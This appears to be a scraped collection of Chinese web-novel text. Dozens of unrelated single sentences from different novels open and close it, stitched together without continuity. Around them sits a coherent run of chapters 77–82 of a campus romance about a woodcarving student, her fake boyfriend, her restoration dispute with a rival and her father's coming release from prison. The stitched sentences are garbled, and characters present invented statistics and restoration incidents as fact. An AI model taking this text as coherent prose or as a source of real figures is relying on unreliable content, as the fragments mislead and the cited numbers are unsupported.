不过风飞扬想到自己还有九幽冥火,这种火焰可冷可热,当初都是和落婴师傅花了好大的精力带获得,杀伤力惊人,对付这些变大之物足矣。 不过她倒是一直不知道这衣服居然这般珍贵,当初信王把这件衣服送给她时,并未曾告诉她这些,她只是觉得衣服花样比较素雅清秀,虽然喜欢,但也没多在意。 神镜一出,万千镜像,任由它天崩地裂,排山倒海,星宇破碎,我心不动,稳如泰山! 视野之中郭临身躯挺直,神色冷漠,一袭飘逸的黑色法衣,随风飘舞,他,毫发无损。 信王爷一直紧紧地抱着她,她似乎又听到了红颜谷那潺潺的溪流声,却不知道信王到底是在卖什么关子,直到信王清越而温柔的声音在她耳边轻声响起:“英儿,你睁开眼睛看一看!”信王说着便恋恋不舍地把她放下来。 毕竟这支挺进队这不是专业的伞兵部队,而且日军也缺乏空投使用的运输机。日军急于将这支位于长治的挺进队调往太行山作战,出动的是在运城机场用来对大后方进行空袭的轰炸机。 特里同在男子冰凛凛的压抑声音中几乎和他同时瞪圆了眼睛,而同一动作下他们两者表露出的神态却大不相同。 枪斗术的奥义就在于千变万换,近战、远战,全部都可以,在速度之中追求一击必杀,面对同等级的对手,阿紫完全可以做到压制,一对多也无所谓。 尤金教授了解德莫斯的脾气,生怕他在自己的讲堂上闹事,使自己在学生中的声望受到连带影响,于是招呼他去画室外面。 但是不知道为什么,当王彬看到蓝幽明和刘淇之间的那一抹对视的时候,王彬突然就楞了一下,接着感到心头一震。 维纳斯气得浑身栗抖,以她的身份自然可以底气十足地怒斥德莫斯。 孤九绝皱了皱眉头,忽然全身黑光一闪,化作一道惊鸿,顿时稳稳落在令狐丘身前。 不过不在乎所谓友军的态度归不在乎,可有些问题对于奥村丰二少将来说,也的确到了该考虑一下的时候了。战斗不能这么无限期的拖延下去,守着家门作战的八路耗得起,可自己不能总在这里耗着。 “我喜欢那朵粉色的,就那朵吧。”呼延暖心抬起芊芊玉手,指着那粉色的道。 “本王说过,本王今生只娶呼延暖心一人。”墨流池又道,似乎是在向呼延庆做出保证。 骆巧雨真不知道,广崖子师徒为什么引那些人进来,又将他们害死,难道他们不是想让人救出被困在石室里的广崖子的吗?广崖子却说,他出去是为了报仇,那些人连他都战胜不了何来为他负仇。 得知此事,凌飞顿时大怒,身体猛得一颤,若家人有难,天就要塌下来了,这是他绝不能容忍的事情,连话都顾不得回答,拼尽全力的赶往了日霞城。 说着,权侑莉头也不回地离开了病房。只剩下缓缓飘落的支票和完全已经发呆的唐铭。 “去看看吧,刚好我们也认识市局里的钱老和叶晓兰他们,过去的话应该能见到他们,而且还可以打听打听这到底怎么回事!”我看着他们说道。 说不感动那是假的,来到这里有些时候了,这个家里的温暖她身有体会。却是一直受之有愧。 当然,这些,秦王打算深深地埋藏,不令任何人,尤其是杜芷萱知晓。 容毓祁供职于大理寺,按说平日里也是极忙的,这几日休沐,倒约了几个同僚出来。 想到自己希望闻人汀把苏果果娶回闻人家的事,君浅不由的摇了摇头。 那日云御渊与陈蜚大战之后不久,对方高挂免战牌数日,大有歇战之意。 血色闪电激射,将山岭炸开。一个身穿古代盔甲的中年人,从棺材之中爬出。 贤王仔细地叮嘱龙一,如何给王妃用药,用药前后的注意事项,以及后期限的调理等等。龙一认真听着,一一记下。多年来,这还是他第一次听他家王爷一口气跟他说这么多话。 一脸警觉的墨扶压根就没有注意到方才正在哭泣的两个孩子突然间就不哭了。 最后这个东临,云珏明白现在的情况是谁也不能独善其身的,故而决定派遣使者前去东临,将利弊与这东临皇帝一一说清楚。 “好,只要你做的,什么都可以,就算做成黑炭,我也会吃个精光。”连梓墨就是想要吃她做的,就是那份心意,做的味道如何,他其实也没多在意。 她灵动狡黠的黑眸让司空爵眼神闪了闪,垂下了眼皮,遮住了他眼中的神色。 “王妃琴声平静,心如止水,龙隐败得太刻意了,他们恐防有诈。”他思忖道。 第一卷 第77章 几天不见,男朋友也不认识了 结束了上午四节的理论课,孟棠将书本手机一股脑塞进包里。 她打算在最近的食堂对付一口午饭就去雕塑工作室忙期末作业。 作业最后要在公共展厅展览,因为要避开考试时间,也就还有十来天的时间。 匈奴兵刚遇到庞统军,只听得身后喊杀声冲天。于夫罗在阵中不解,拍马往后疾驰一看,只见那“自家人”白波军竟然杀得他后军不备。 霍连臣偏头侧睨了眼胡郢,没有说话,只是见胡易勤看见他走了过来时,走了上前。 刚要起身,突然发现某人脸色不对,宝春愣了下,不由叹气,这是又醋上了。 红色激光贯穿了无数能量,刺穿一个有一个牧师,连续秒杀了7名牧师,不幸的顺带了几名弓箭手。 \t车子停下,秦风和谢玉赶紧从车里下来,上前护在朱副总理的防弹车前。卓远从副驾驶下来,为朱副总理拉开车门,手护住车顶,将朱副总理从车上请下来。 武功招式和不求章法的一味蛮打,绝对是两种概念,如果光是靠蛮力就能称霸一方,怎么会有那么多前辈们创造出各种各样的武功招式呢? 顾北辰挂了电话,一点儿都不以坑了萧景而有什么不好意思。 响响亮亮的噼啪一声,裴诗茵脸上正正的多了五个红肿的手指印。 “你想告诉我什么?”一瞬间她的语气从先前的自信流畅变得惊慌苍凉。 在以上这些人当中,肃顺、载垣、穆荫三人的话最入咸丰的法耳,其次便是祁寯藻。 物竞天择,适者生存,这是自然法则,也是这个世界亘古不变的真理。 “什么?你再给朕说一次,你们居然还没圆房?”枫之凌的嘴巴张的都要塞下个鸭蛋了,他怎么也想不到,原来儿子纠结是因为这个,他们成亲可是都六年了,怎么可能不圆房? 偌大一个万象帝国,存在不知道多少年了,李家无数代流传下来,自然有许多血脉稀薄的后代流落在外。这些有一丝皇家血脉的后代,若是有朝一日能够有所成就,便立刻会被召回皇家,重点培养。 他是傀儡门弟子,被长老派出来保护王天,若是王天死了,那看重王天的长老,说不定怎么惩罚他呢。 可是,除了他们这样的超级强者之外,还有很多人需要王无双的能力——就好像陈弈他们这样,借用王无双的能力效果,来弥补自身的能力短板。 “洛思涵,不如听本皇一个建议如何?”看到洛思涵那盛气凌人的样子,而且在座的几位圣阶初期强者也已经开始蠢蠢欲动,皇甫梦天开口跟洛思涵说道。 努美利娅心头一凉。她略微开口,想要说点什么。可又实在不知道该怎么开口。她知道自己平日做事比较干脆直接,莫不是自己这戏演得不好,被尼禄这老鬼看出了猫腻? 颜如水冷笑,袖中软绫化为三道,分别飞向那三方逃走的三名御空境界强者,软绫仿似有生命一般,任凭那三人如何闪动,软绫如同长了眼睛,将三人去路堵死,最后紧紧围裹。 洛思涵在这个岛上已经如此的修炼的两个多月,每天都坚持跟混冰蛮牛战斗,哪怕一次次的被撞飞,一次次的受伤,一次次被整的全身疼痛,他都从来没有停歇过。 第78章 来接你呗 孟棠和魏川是假的,但仅限于他们两个知道。 对于李寒津的问话,孟棠没有丝毫犹豫地点了头:“是。” “他果然对你没安好心。” 孟棠:“……” 这两人真有意思,都说对方对她有歪心思。 她叹气:“我还有作业,先上去了。” 李寒津将人拦住,说:“你发给我的资料我看过了,我承认你很厉害,但我觉得传统的修补方法也有无法解决的深层次问题。” 孟棠一愣:“你要用现代科技和工具去修补?为什么?提高修复精度与效率吗?” 李寒津:“准确来说,是结合着使用。” “我反对。”孟棠不可置信地看着他,“现代机器修复古物又不是没出过事,18年就有人用激光清洗明代木雕,事后才发现0.3毫米浅层木质玻璃化。” 李寒津说:“这只是个例。” 孟棠冷笑:“个例不代表不会发生,就拿3D打印的补缺材料来说,要和上百年木头的氧化速率差了近300倍,十年的时间就会让两者出现明显的色差分界。” “这个我知道,我不会用这个,我只是想——” “我不建议你用任何的工具。”孟棠截断李寒津的话。 李寒津叹气:“你跟师父在一起时间长了,思想也停滞不前,现在已经不是以前了。” “孟棠,你是年轻人,应该要接受新事物带给所有传统行业的冲击,你要学会去创新。” 孟棠笑了声,神情讽刺,她有一刻不想和李寒津争论什么,但不争论,就是带着传统手工艺让路。 她长长呼出一口气,说: “我除了在木雕方面有点天赋之外,其实并不聪明。十几年来,爷爷只让我做一件事,无论雕刻还是修复,只走传统路子。” “你应该知道,使用电动工具的木雕师,在五年时间的变化下,手部对于木料的触摸灵敏度要下降53%,甚至更多。” “我要做的是将爷爷教给我的传承下去,仅此而已。” “可这个世界需要创新。”李寒津狠狠拧起眉心。 “传统木雕不需要!”孟棠语气强硬,“因为现在创新的人犹如过江之鲫,这个你应该最有发言权,毕竟你工作室也有不少这种人。” 李寒津不自觉也起了怒火:“哪种人?他们不都是凭手艺吃饭?” “李寒津,你不要觉得我说话难听,在我看来,他们还不配说自己凭手艺吃饭。” “孟棠你——” “因为!”孟棠再次打断他,“他们在网络上起号炫技,让消费者买他们雕刻的东西,最后批量生产,用机雕加手工修光冒充纯手工雕刻,挤压了真正手艺人的活路。” “这还不算,一个个没读多少书,将传统纹样简化,说什么是借鉴古纹创作的极简风,不过就是盲目迎合。” 她在网上看到过,缠枝莲、博古图等传统纹样被简化得四不像。 她评论了一句,还被对方辱骂拉黑。 “李寒津,你应该知道,木雕传承几千前深深植根于传统文化,你所谓的创新就是过分追求现代审美,丢弃木雕的文化根基?” “还是用拍卖行和画廊进行包装炒作?别人拍回去一看,上百万的木雕,刀工还不如民间的普通匠人?” “这种空洞的摆饰,没有记忆和温度的作品,我不创新也罢。” “你——”李寒津哑口无言,他从来不知道孟棠也会如此疾言厉色。 “如果你坚持,我不会跟你去博物馆。”孟棠说。 她看了只会心堵。 “好,不聊这个了。”李寒津让步,“我也只是先跟你聊一下,哪知道你这样激动,等我们看到实物再说,行吗?” 孟棠点了点头。 “正事聊完,我跟你说点私事吧。”李寒津声线缓和下来,“现在已经是一月份了,当年璋叔判了九年,也差不多要出来了吧?” 孟棠一僵,下意识看向四周,生怕被谁听去。 她蹙眉质问李寒津:“你跟我聊他干什么?” 家里因为他倾家荡产,她和爷爷过了很久一段的清贫日子,都给他悔罪退赃了。 “璋叔出来肯定要回家,师父嘴硬心软,不可能不管他一日三餐,毕竟是亲儿子。” 孟棠说:“这跟你没关系。” 李寒津说:“你别误会,我只是想问你男朋友知不知道璋叔的事。” “你要干什么?”孟棠顿时竖起防备的刺。 李寒津说:“我没什么意思,就是觉得你俩既然谈恋爱了,有些事就不适合瞒着,除非你就是跟他玩玩。” “不关你事。”孟棠一刻也不想待了,“我上楼了,你自便。” 孟棠回到工作室,不少同学都在,大家埋头苦干了一下午,晚上一起去了食堂后,回来又接着忙。 直至工作室关门时间到,孟棠才和同学们一道出了门。 冷风吹过脸颊,她忽然想起了孟怀璋。 一个什么都做不好的人,一个小时候会叫她乖宝的人。 想事情想得出神,孟棠径自往前,忽然一道轻笑从身侧传来。 孟棠抬头看见魏川时一愣:“你怎么来了?” 同学起哄:“来接你呗。” 孟棠只能笑笑应对,魏川朝他们挥手:“你们先走,我送她回去。” 大家都识相,不打扰小情侣谈恋爱。 孟棠又问:“你怎么知道我在这里?” 魏川说:“路上碰到了谭曦,她说你还在工作室,我就来接你呗。 孟棠“哦”了声。 “你不舒服?”魏川看着她,“听声音感觉你很累。” 准确来说是心情不好,孟棠说:“赶作业有点忙。” “那也要注意身体。”魏川看了眼时间,“要不要吃东西?” “这个点也没什么吃的吧?”孟棠只想回宿舍。 魏川却抓住她的手,一副精力十足的模样,说:“跟我来。” 看线路是之前他们要去买烧烤翻墙头的地方,孟棠挣了下: “还是别去了,万一被你教练抓到怎么办?” “老贺闺女发烧了,他早回去了。” 将孟棠带到铁丝网前,魏川朝路边一大爷喊:“大爷,拿一个红薯,大一点,甜一点。” 大爷习以为常,称了重,拿了码给魏川扫,三两下完成了交易。 铁丝网最下面有个破洞,魏川接过红薯,塞到孟棠怀中:“吃吧。” 孟棠许久没吃烤红薯,但手中这个太大,掰了一半给魏川。 两人在附近找了个位置,一边享受片刻的宁静,一边吃完了香甜的烤红薯。 孟棠的心情被甜意烘住,她笑了笑,转头跟魏川说:“你以后还是——” 话头一止,孟棠僵坐在户外的长椅上。 唇角被拇指轻柔扫过,魏川抬手揩去了她沾染的红薯。 第79章 等我 仅仅一瞬,唇边的温热被寒风吹散。 孟棠眨了眨眼,呼吸似被冻住了。 两两无言,魏川其实也被自己的举动弄得一怔。 孟棠的皮肤像光滑细腻的玉,触手那一瞬间的冰凉凝在他指腹间久久不散。 “沾了点红薯。“魏川摩挲指腹,生硬地解释。 孟棠低低应了声。 魏川直了直身板替她挡风,说:“冷不冷?我送你回寝室吧。” “还有一点。”孟棠扒拉开红薯皮,“吃完再走吧。” 红薯的焦甜充满口腔,甜得嗓子都开始黏糊。 回到寝室,喝了半杯温水才觉得顺畅。 谢泠音端着盆从卫生间出来,见孟棠开电脑,顺嘴问:“你不去洗漱吗?” “我今晚可能有点迟。”孟棠扭过头,“要查些东西。” “那你别太晚。” “嗯。” 孟棠打开PPT,打算做个历年木雕修复的翻车报告。 她的电脑里就有自己整理的文物修复失误的记录,也是从相关文献、影像、新闻等途径查找的,每一项,她都标注了具体的时间和技术损伤。 每次看到,孟棠心里都不太得劲。 就比如19世纪末到20世纪初,机械工具的滥用,让1903年大英博物馆的《北魏贴金木佛》因高温蒸汽导致金箔层剥离,夹具的压力也让佛像左臂纤维断裂。 当然国内也有这种失误,而且还不少。 老爷子在家没少骂那些狗屁专家。 孟棠叹了声气,打算明天去找旬礼安。 时间过了十二点,孟棠关了电脑。 刚要去洗漱,石岚从床帘里伸出头,吓了她一个哆嗦。 石岚呵呵笑道:“洗漱去吗?” 孟棠点了点头。 “那个,我有件事跟你说。” 难得见石岚一副做错事的模样,孟棠有些好奇:“什么事?” “就是你跟魏川的事嘛,我没忍住在网上说了一嘴。”石岚指了指手机,“要不你自己先看看,还给你涨了点粉。” 孟棠一愣,石岚干笑着对她做了个讨饶的手势:“我知道你低调,但有人说你不好,我没忍住怼了起来。” “我待会儿看。”孟棠说,“没事,你先睡吧。” 石岚就佩服她这副云淡风轻的样子。 半小时后,孟棠关了灯,爬上了床。 她打开手机,进了某软件平台,消息一栏密密麻麻泛着红。 粉丝激增三千,消息99+。 石岚到底说了什么? 答案还得去魏川的评论区找。 只一眼,孟棠就看见了,因为魏川也回复了。 起因是一个叫“雪涵”的评论了一句——魏川眼光也不怎么样啊。 底下就有人问是不是认识魏川的对象。 [雪涵]:认识,长得不怎么样,一点存在感都没有,很平凡的一个人,不知道魏川喜欢她什么。 [会飞的猫]:果然帅哥的眼光不同寻常。 [阿月]:我当初要是死皮赖脸,能不能追到男神啊?嘻嘻。 然后,孟棠看到了“石头给你捶通”发了讥讽的表情包,回复[雪涵]: 渴了就去楼下超市买两瓶绿茶,喝不完倒地上看看自己的德行。 [W魏川]给[石头给你捶通]点了赞。 毫无疑问,[石头给你捶通]就是石岚。 孟棠又往下看,她又回复了[会飞的猫]:帅哥的眼光确实与众不同,挑的都是甩尔等八十条街的。你要是跟我犟,就去枕霞区的省博找一尊《顽童戏鹅》的木雕,再去翻翻《中国当代工艺美术集》的权威名录。 孟棠看到这里已经很羞耻了,有一种在大庭广众被夸麻了的感觉。 [W魏川]给[石头给你捶通]点了赞,并回了一个“说得好,说得妙”的表情包。 [石头给你捶通]回复[阿月]:你死皮赖脸追不追到男神我不知道,我只知道男神死皮赖脸追到了我室友。 [W魏川]给[石头给你捶通]点了赞,并回复:这都被你看出来了! 孟棠:“……” 这两人,一个逗哏,一个捧哏,说相声来了? 孟棠笑了笑,继续往下看—— “卧槽,我好像知道她是谁了,前段时间Z大学生退学的事情闹得沸沸扬扬,她就是那个女主角吧?” “确实是她,我已经找到她账号了。” “评论区还科普过她的作品,很牛逼的一个学生。” “就这还魏川的眼光不怎么样?顶死了好嘛?” “川哥牛逼啊,打球顶,找女朋友也顶。” “谁知道孟棠长什么样啊?” “别了,她平时在学校挺低调的,时间基本泡在木雕工作室,我们都不敢轻易打扰的。” 看这语气,还是同班同学。 “我刚才进了她主页,都是木雕相关的视频,连个自拍都没有。” “哪个啊,姐妹能不能艾特一下。” “@木木木木头,就这个。” 孟棠看到这里,默默关了手机。 石岚再次拉开床帘,小声问:“孟棠,你看完了?” 孟棠“嗯”了声,随后又补充了一句:“谢谢。” 石岚一愣:“谢我?” “不然呢?”孟棠失笑。 杨可也掀开了帘子,她帮着石岚解释:“你不知道,她担心了一天。” 谢泠音:“我作证。” 孟棠笑道:“我怎么可能生气,我这么不识好歹啊?就是吧,你说话有点夸张了。” “你指的哪句?”石岚问。 孟棠有些难为情:“就是……你说魏川死皮赖脸。” “他就是死皮赖脸啊。”石岚说,“我都还没去过你家,被他给抢先了,那时候你俩还没谈!” 孟棠:“……好了好了,不聊了,你要是愿意,明年暑假跟我回去。” “嗯?”石岚瞪眼,“为什么不是近在咫尺的寒假?” 孟棠给她解释:“因为寒假我有可能不回去,博物馆运来一批文物,有件清代的观音像需要修复,我可能跟着去看看。” 石岚说了句“牛b”。 隔天就是谢泠音的生日,因为白天有课,约了大家晚上的时间一起庆祝。 孟棠请了篮球课的假,匆匆去了博物馆。 和旬礼安聊了半天,她才坐地铁赶去了轰趴馆。 团建的好地方,也有不少人喜欢在这儿过生日。 这里有自助厨房,吃的需要自己动手。 孟棠刚到轰趴馆的门口,魏川一通电话打了过来。 接起电话,就听魏川说:“我九点结束训练,到时候去接你。” “不是说不用了嘛。” 魏川说:“许鹤清那孙子说我不去,就让梁衡怂恿你玩什么真心话大冒险,你听我话,别跟他们玩,没一个有良心的。” 这么e的游戏,孟棠顿时不说话了。 田聿在手机那头催促,魏川匆匆扔下“等我”两个字就挂了电话。 第80章 师傅,去公寓 轰趴馆的庭院里,两个寝室的人大眼瞪大眼。 石岚看向谢泠音:“你生日,他们为什么也在?” 谢泠音干笑了声,走过去挽住许鹤清的胳膊,模样羞赧:“我给你们介绍一下,这是我男朋友,许鹤清。” 石岚和杨可呆愣原地,她俩耳朵没坏吧? 孟棠上前碰了下石岚,小声道:“我知道的时候,跟你们是一样的反应。” “所以你比我们先知道?”石岚抓住重点。 “呃……”孟棠语塞,“只比你们早那么几天。” “我靠。”石岚呆滞了,“你俩简直拉高了我和杨可找男朋友的标准,干脆让我俩打一辈子光棍得了。” 梁衡好似找到知己一般:“你俩有我惨?你俩还有个伴,我呢?我们寝室只剩下我一个独苗。” 石岚心里好受了点,同类的遭遇让人开心。 “今晚你俩等着吧。”石岚看向许鹤清和谢泠音,一副要整死他俩的模样。 谢泠音莫名打了个寒颤。 一群人在一起闹,声音能掀了屋顶。 孟棠被夹在石岚和杨可中间,手中握着啤酒,时不时浅浅抿一口。 梁衡烤的东西很好吃,但很辣。 她不好意思拒绝,只能一口啤酒一口肉。 鼻头被辣得通红,呛了半晌。 梁衡这才知道她不能吃辣,又重新给她烤了一些吃的。 “别跟川哥说啊。”梁衡憨憨地挠了挠头,“他让我照顾你来着,我刚才忘了问你吃不吃辣。” 孟棠笑了笑:“不说。” 梁衡给她拿了瓶酸奶:“喝这个,这个解辣。” 孟棠接过,道了声谢。 吃得差不多后,梁衡提议玩点游戏。 孟棠一僵,心想不会真捉弄她吧? 石岚看出她的担忧,在她耳边小声说: “放心,今天是泠音的生日,她还瞒了我们这么久,我刚才已经和梁衡李卓通过气了,今晚,咱们就逮着他俩整。” 孟棠默默松了口气,虽然有些不太地道。 谢泠音自知理亏,只能向许鹤清投去求救的眼神。 许鹤清拍了拍她:“没事,有我呢。” 李卓和梁衡嘿嘿一笑,将专门整蛊情侣的游戏道具全都搬了上来。 梁衡清了清嗓子:“听好了啊,第一关反向默契问答,比如许鹤清说出谢泠音喜欢的颜色这种问题,如果答错要接受惩罚,惩罚做不了就喝酒。” 许鹤清点了点头:“知道了,来吧。” 孟棠觉得有意思,盯着两人看得津津有味。 谢泠音没答上问题,需要芥末惩罚,直接被许鹤清抢了过去。 无伤大雅,反正他俩有一个受惩罚就行。 一群人闹得开了,梁衡和石岚越整越猛,许鹤清明显喝多了,开始上脸。 “接下来的惩罚就少儿不宜了啊,你俩悠着点。” 许鹤清因为酒精,脑袋已经不太清楚了,一连输掉好几次。 惩罚他和谢泠音拥抱亲吻,他倒是一一照做,惹得谢泠音羞赧不已,旁人看得热火朝天。 孟棠端起啤酒,仰天灌了一口。 石岚嘿笑着抵了抵她:“想你家魏川了?” “我没有。”孟棠下意识反驳。 “放心吧,今天的游戏,迟早要玩到你俩身上。”石岚吓唬她,“可别想跑掉。” 孟棠抖了下身体。 梁衡和李卓的起哄声中,许鹤清捏住谢泠音的唇亲了下去。 因为石岚的话,孟棠下意识将人换成了她和魏川,一个激灵起身,哆哆嗦嗦说自己去个卫生间。 石岚笑得丧心病狂:“许鹤清,你别亲了,把孟棠都吓跑了。” 餐桌边一片哄笑。 脸颊热意久久不褪,孟棠拍了拍脸,长长舒出一口气。随后拿出手机,看了眼时间。 孟棠一惊,已经八点半了。 轰趴馆里那么多娱乐项目,他们竟然在餐桌边消磨了三四个小时? 不过前期准备食材做饭也花了点时间。 躲了十来分钟,孟棠打算回去,一只脚刚踏进门口,手机突然响了。 是家里的来电,她想也没想地接了:“爷爷。” 孟遇春应了声,说:“小棠,今年寒假什么时候放?” 孟棠说:“快了,16号放,下周就开始考试了,不过考完试我暂时不能回去,博物馆那边还有点事,就是我跟您提过的观音像。” “我知道,这个不耽误,我想跟你说的是其他的事。” 孟棠察觉到老爷子的语气有些郑重,不自觉也屏住了呼吸。 “你爸爸,21号出来,这些年我没让你去见他,既然出来了,跟我一起去接人吧。” 孟棠愣愣“哦”了声,挂了电话后在寒风里吹了许久。 直至石岚过来叫人,她才脚步轻浮,飘到了桌前。 她对孟怀璋的感情很复杂,没有双亲的童年是他亲手创造的,可脑子里又无数次闪现孟怀璋抱着她嬉闹的画面。 就那么一个画面,记了十几年,想了十几年。 餐桌上聊了什么,孟棠再也没听见。 她怔怔端起面前调好的酒水,一口一口抿完了。 酒水带着浓郁的桃香,孟棠又照葫芦画瓢偷偷调了一杯。 魏川赶过来的时候,她虚虚盯着许鹤清的方向出神,时不时喝一口酒,一副“为情所困”的模样。 “孟棠。”魏川心里不得劲,出声试图唤醒她。 孟棠眯着眼睛,转头看向他,视线却不聚焦。 魏川拧着眉走过去,扶住她,问:“你们让她喝酒了?” “没有啊。”石岚侧过身体,看她面前的酒水,“我去,她好像自己调了一杯。” “呵呵呵……”孟棠傻笑道,“好喝。” 见她坐着都不太稳当了,魏川只好拥住她,问许鹤清:“你们怎么说?什么时候回?” 许鹤清挥了挥手:“你先带孟棠回吧。” 魏川“嗯”了声,拿出手机打了车,然后弯腰将人打横抱了起来。 “你们也别太晚,我先带她走了。” 谢泠音拉了下许鹤清:“孟棠就这么让他带走,没事吧?” “没事。”许鹤清说,“上天就没给魏川关过一扇窗,有钱有颜还有品,我用一切担保,孟棠交给他你放心。” 被人用一切担保的魏川,抱着孟棠上了出租车的后排。 不过,有钱有颜还有品的他却没回学校,而是对司机说:“师傅,去康铂公寓。” 师傅应一声,在前路掉了头。 第81章 我想确认一件事 出租车里暖气充足,孟棠抵着车窗闭上了眼睛。 她看着有点难受,不知道因为酒精还是许鹤清。 “师傅,开稳当一点。”魏川朝前头看了眼。 司机应了声:“行,你给她拖着点,小心磕着。” “嗯。” 魏川一手从孟棠的后颈绕过去,一手托住她下巴,将人往回掰扯。 “好晕。” 孟棠咕哝了一句,魏川没听清楚,低下头凑近:“什么?” “晕。”孟棠抻着头,试图寻找一个舒服的姿势靠着。 “让你喝那么——” 肩头一沉,魏川未尽的话全都堵在了喉咙。 裹着酒香的呼吸安静地在他颈间发散,酥酥麻麻,像蚂蚁在爬。 就这也不太舒服,孟棠又顶着魏川的脖颈蹭了蹭,蹭得魏川一颗心怦怦跳个不停。 他挺直腰板,整个人往右抻了抻,试图让孟棠靠得更舒服。 又怕她因为停车惯性往前冲,托着的手便没收回去,掌心护着她半张脸。 经过一盏又一盏路灯,夜晚柔和的光线切进车窗,打在两人身上,一帧一帧像电影画面。 魏川指尖微动,触上一片滑腻的柔软,她的脸好软。 似乎不满被打扰,孟棠蹙了蹙眉。 魏川轻笑一声,大着胆子,轻轻捏了下她的脸。 抬眼时,车窗玻璃上倒映出他的温柔浅笑。 随后怔了下,有点不认识自己的感觉。 就在这时,孟棠动了动,扒着衣领往外扯。 魏川一把将人按住,轻声安抚:“是不是热了?很快就到了。” 孟棠热得有些烦躁,她调的酒度数不低,胃里暖烘烘的,被车内空调一吹,整个人像被架着火烤。 她哼了两句,魏川有些为难,一副拿她没办法的样子。 司机从后视镜中瞥了眼,提醒说:“小伙子,还有几分钟就到了,外面可冷,别让你女朋友感冒了。” “好,谢谢。” 魏川赶紧低头,耐心地哄着:“听到了没有,不能脱衣服,感冒了要打针。” 司机轻笑,这是当小朋友哄了啊。 哪知效果显著,孟棠真就不动了。 到了康铂,孟棠还迷糊着,魏川再次将人抱起来。 这里是他的私人房产,不过很少过来。 也就是离学校近,他才带着孟棠过来弄碗醒酒汤。 进了屋后,他将孟棠放到沙发上,转头拨了服务内线。 服务式公寓对于醒酒汤这类的需求都是24小时备着的。 五分钟不到,管家送了醒酒套餐过来。 醒酒汤只是缓解,不会一下就能让人清醒。 魏川好不容易喂完,出了一身的汗。 孟棠还穿着厚实的外套,只怕也不太舒服。 也不知道她什么时候能醒,魏川兜住她后颈,轻手轻脚脱去了她外套。 做完这一切,他感觉比打球都累,毕竟大少爷没伺候过人,但心里满满的堵着什么东西似的。 沙发太软,魏川想要抱孟棠进卧室,刚伸手,孟棠转了个身,醒酒汤的蜂蜜味扫过鼻尖,他忽地愣住。 孟棠的睫毛好长啊!皮肤也好白,但她的五官要说最好看的,还数鼻子。 从额头到鼻梁,线条衔接自然,一气呵成。山根起势虽然浅淡,但如晕开的墨浓淡相宜。 鼻梁转折弧度也很流畅,没有丝毫的生硬感。 鼻头圆润又小巧精致,鼻翼薄而内收,恰到好处。 魏川鬼使神差伸出手,点了下她的鼻尖。 孟棠皱了皱鼻子,缓缓睁开了眼睛。 魏川吓得心脏骤停,蹲在那儿一动不动。 孟棠“啪叽”一下按住魏川的鼻尖,微微嘟着嘴巴,轻斥了声:“扰人清梦。” 魏川张开嘴巴刚要解释,她又闭上了眼睛。 “……” 原来并没清醒啊,魏川轻笑,也不敢再动她了,起身去卧室拿了条毯子给她盖上。 随后索性坐在地毯上看着孟棠,小声地问:“你就这么喜欢许鹤清?” 竟然在谢泠音的生日聚餐上喝醉了,也不怕被看出来。 孟棠总觉得有人在她耳边嗡嗡,可她实在困,只能从嗓子里黏黏糊糊“嗯”一声。 魏川又笑了声:“说你胖还喘上了,就不能看看别人?” 话一出,他愣了下。 看谁呢? 他要让孟棠去看谁?似乎谁都不行。 “马上要放寒假,开学再跟朋友们说我们因为性格不合分开了。” 魏川脑子里又闪现孟棠说过的这句话。 寒假结束就要分开……不剩多少天了,满打满算40来天的时间。 这40天的时间里,他都不一定能见孟棠几面。 他要训练,她要回家。 “可我好像不太乐意了。”魏川看着孟棠的睡颜喃喃自语。 想到孟棠要跟他划清界限,他心里就像被泼了一盆水哇凉哇凉的。 这次,孟棠没回他,好似睡熟了。 魏川起身,打算去洗个澡,结束训练后,他急匆匆过来找她,一身臭汗自己都嫌弃。 刚迈出两步,许鹤清打来了电话。 魏川接了后,他问:“你把孟棠带哪儿去了?她怎么不在宿舍?” 魏川:“……” 还说呢,你跟谢泠音一个劲地秀恩爱,把人伤心到醉了。 回去要是见到谢泠音,不是更得伤心。 “我带她来康铂了,给她喂了醒酒汤,人还在睡。” 许鹤清松了口气:“谢泠音快把我撕了,你怎么把人带你公寓去了?” 魏川说:“我看她喝的有点多,人也不太舒服,就先带公寓来了,要是能醒过来,我就把她送回寝室。” “醒不过来呢?”许鹤清突然问了句。 魏川当时还真没考虑那么多,现在被许鹤清这么一问,直接愣了。 对啊,孟棠要是一直睡呢?难道要在这里过一夜? 魏川看了眼时间,已经十点了。 十一点之前回寝,宿管阿姨都会睁一只眼闭一只眼。 美院的回寝时间更加宽泛,因为很多学生会忙作业到半夜。 从康铂到学校,开车也得二十分钟,也就是说,孟棠要是半小时后醒不过来,就得在这里睡一夜。 魏川回头看了眼,她正睡得香甜。 不知道出于什么心境,他突然问了许鹤清一句话:“你当时是怎么确认自己喜欢谢泠音的?” 许鹤清一愣:“你问这个干什么?” 沉默了几秒,魏川低声道:“因为我想确认一件事。” 第一卷 第82章 你俩今晚一起睡啊 魏川似乎意识到,孟棠在他这里,和旁人是不同的。 尤其是李寒津出现之后,他每次的情绪波动都与对方有关。 不知是皮炎平还是泡橄榄叶的土方起了作用。而余朝霞的红斑应该是刚长出来的。 “如果老爷丢失金条真的和你爸有关,我相信他一定是有什么不得已的苦衷。”我抓住他的手,安慰的紧握了一下。 岁月的轮子继续向前转着,春夏秋冬,四季更替,就这样,三年的日子滑过去了。 “她肯定愿意的。”我一骨碌爬起来,下床拿了给余萌打电话,将这个好消息告诉她。 最起码扪心自问,这等凝聚土、水、草、木为剑的本事,即便他是半步先天的修为,施展出来它也是很有难度的。 在这里,凰族有先天优势,即便她没有亲自坐镇,也不会有大变故。 因为趁机取巧之人太多,这些人虽然不如他们,但也不弱,早已动用了全力,更有几个祭境的大修掺和,不动用至宝的话,恐怕无法压制众人。 很多很多的问题都处于朦胧迷雾之间,哪怕是悦哀解释,恐怕也没什么用处——爱之神明显不像是知道圣贤死而复活真相的人,祂估摸着也就知道有这么一件事,而后面的两个问题本质上是一个问题。 经过精神力探查,夏若飞发现唐昊然体内的真气也是十分精纯,并没有因为今天早上单独修炼而变得驳杂,而且相比较昨天也有了一些进步,不禁满意地点了点头。 他回复这条消息的时候,自己都乐了,用仙米做食材的事情,他是断然不会说出去的,刚刚他也在发愁,该如何圆过去这个慌呢,眼下正好沈总给了他一个台阶下,何乐而不为呢? 孟依然道:我这人说话一向算数,我会遵守赌约,三年后你来孟家向我提亲。 上万词条显示出来,多是美漫,瓦龙并没有大张旗鼓的宣布自己成立不义联盟,建立超级英雄组织,不然的话,他们真不一定捶的过瓦龙。 